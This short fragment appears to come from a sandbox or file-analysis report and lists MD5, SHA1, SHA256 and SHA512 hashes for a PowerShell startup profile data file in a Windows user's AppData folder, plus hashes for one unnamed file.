SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b